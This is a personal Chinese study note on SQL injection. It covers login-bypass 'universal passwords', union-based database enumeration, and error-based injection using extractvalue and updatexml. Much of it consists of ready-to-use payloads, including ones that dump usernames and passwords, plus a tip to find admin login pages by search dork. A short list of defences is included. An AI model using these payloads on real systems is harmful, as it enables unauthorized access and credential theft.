SEC知识点学习,非网课

编辑日期 编辑内容
2023-07-24 万能密码
2023-07-26 常规注入流程,部分报错注入

万能密码(摘录删改)

源头博客

万能密码通常是指开发人员在开发过程中使用超级管理员进行开发,开发完成后 没有过滤掉 这些 常用的超级管理员 ;另一种是存在 SQL漏洞管理员账号

下面分别进行讨论:

(常规型账号密码)
1.万能密码:

用户名 密码
admin admin
admin 123456
admin password
... ...
类似的还有很多,可以摘个常用账户字典查查。

(非常规型账号密码)
下面的都是依赖SQL语句中存在的漏洞进行的万能密码登录
这些漏洞都是可修复的

2.万能密码:
用户名 密码
'or'='or' 'or'='or'

原理解释:
假设用户登录对应的语句为:
select name, pwd from login where name='' and pwd='';
如果用户名输入正确则直接登录,否则提示用户名或密码错误,使用万能密码后的SQL语句如下:
select name, pwd from login where name=''or'='or'' and pwd=''or'='or'';

核心代码,两个单引号匹配,即name='',然后or连接,
单引号等于单引号('=')这是恒成立的,紧接着or连接两个单引号(''),
同理密码pwd。这样or连接的('=')是恒成立的,故返回结果为真,导致直接登录。

简单来讲,把原本获取账密的sql语句变成下面的那个形式就是了:
既然等式恒成立,sql查询登录账密语句自然就成立了
原始 更改
admin password
'' ''

3.万能密码:
用户名 密码
'or''=' 'or''='
原理解释:
此时对应的SQL语句如下:
select name, pwd from login where name=''or''='' and pwd=''or''='';

4.万能密码:
用户名 密码
'or'='-- 'or'='--
原理解释:
此时对应的SQL语句如下:
select name, pwd from login where name=''or'='--' and pwd=''or'='--';

收获的万能密码:
用户名 密码
'or'='or' 'or'='or'
or''=' 'or''='
'or''=' 'or''='

具体的情况需要具体分析,不一定万能密码一定有用。

通过如 inurl:login.asp 等搜索技术找到一些列网站后台登录界面后,反复尝试这些万能密码进行登录。防范措施也比较简单:

1.开发人员开发完成后,过滤掉admin等常用账号或修改密码;
2.当用户第一次登录的时候,对简单的密码进行修改提示,防止暴力破解;
3.用户名或密码屏蔽掉单引号(')、等号(=)、注释(--)等特殊字符;
4.对尝试SQL注入的IP地址进行报警提示或日志记录。

SQL注入

资料点我

学习:
1.基础的SQL知识
2.注入时适当使用URL编码替换掉部分符号
3.

注意点:
1.是使用 " 还是使用 '要视实际情况而定情况 "
2.是使用 ; 还是使用 # -- // 都需要根据实际情况考虑。

各个类型的注入:
大前提:
每个get或者post传参进行sql注入都是有前提条件的。
假设传参是这么个样子:
http://xxx.xxx.com?id=admin&password=pwd
那么拼接到数据库查询语句当中就很可能变成这样:
select * from user where username='admin' && password='pwd';
如果我们进行基础的sql注入:
http://xxx.xxx.com?id=admin' or '1'='1' #&password=pwd '
那么传入的参数拼接到sql查询语句当中就是:
select * from user where username='admin' or '1'='1' # && password='pwd'; '
这样的话。 “#”后面部分会全部被注释掉,前面的条件也成立了,就变成了依赖username的查询
同时,也能借此执行后面的 or '1'='1'
如果这部分换为攻击语句么……

下面的一切基于 '大前提' ,依赖拼接和SQL基础

疑似流程:
证明注点存在=>爆列=>爆库=>爆表=>爆字段=>爆字段值
||=>爆其他系统消息

各个注入点类型:


笔记:
1.当初步注入成功时,尝试直接一把梭
2.当初步注入失败时,考虑是否被过滤,考虑是否可以使用复写单词绕过
1.双写绕过 把 order by 改写为 ororderder bbyy的形式进行绕过
2.
3.

普通注入

1.基础/普通注入
依赖基础语法
假设是URL的get注入:
初始:
?id=1
尝试写下下面格式测注入点:
?id=1'
?id=1"
?id=1' and '1'='1'
?id=1' and '1'='2'
?id=1' and '1'='2' #
?id=1' and '1'='2';#
?id=1' and '1'='2'%23#
当注入点存在时,尝试获取信息:
判表列数
该写为下面形式传入时正常显示
?id=1' order by 1 # '
当出现报错时,表示列数到达了极限,
我们就得到了当前表的 "极限列值"
?id=1' order by 5 # '

爆库
"查看回显点用的,哪个能回显信息到页面就使用哪个点进行注入"
?id=1' union select 1,database(),3#
"这个才是爆库" '
?id=1' select 1,group_concat(schema_name),3 from information_schema.schemata# '

information_schema是个特殊的数据库,
schemata表也是特殊的
schema_name是个特殊的列
说简单点,这个数据库携带敏感信息,
部分表会实时更新这个数据库新增的数据库和表等。

爆表
tables 表存储了关于数据库中所有表格的信息。
"下面都一样,把关键信息放在回显点回显到前端页面给我们"
?id=1' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema='数据库'# '

和爆库相比,多了个:
information_schema.tables where table_schema='数据库'#

爆字段
columns 表存储了关于数据库中所有列的信息
?id=1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='数据表'# '

爆字段值
GROUP_CONCAT(0x7e,字段,0x7e),
表示将指定数据表中的每个字段值与前后的字符串连接起来,
使用十六进制表示的 0x7e(代表波浪符号 ~)作为分隔符。

?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名 # '

拓展一些其他函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

多条数据显示函数:
concat() 将多个字符串按顺序连接在一起并返回结果字符串。
group_concat() 把每一行的 "行数据" 按照字符串的形式进行拼接
concat_ws() 函数也是将多个字符串连接在一起,并且可以指定分隔符(放在第一个的位置就行)。

报错注入

使用爆出报错信息来回显铭感数据

假设和上面一样,还是SQL注入,get类型的:?id=1
语法和上面的略有差别

extractvalue函数:
爆版本
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) # '
例如爆出个这样子的东西:XPATH syntax error: '~10.3.18-MariaDB~'
爆操作系统
?id=1' and extractvalue(1,concat(0x7e,(select @@version_compile_os),0x7e)) # '
例如爆出个这样子的东西:XPATH syntax error: '~Linux~'
爆数据库(涉及到了information_schema表)
?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e)) # '
爆数据表
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)) # '
爆字段
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e)) # '
爆数据
?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e)) # '

updatexml函数:
细节问题: extractvalue()基本一样,改个关键字updatexml即可,
与extractvalue有个很大的区别实在末尾注入加上,
如:(1concat(select @@version),1),而extractvalue函数末尾不加1(数值)
?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)
?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)
?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)
?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+

一口吃不成大胖子,一步步慢慢来,其它的部分晚点再学。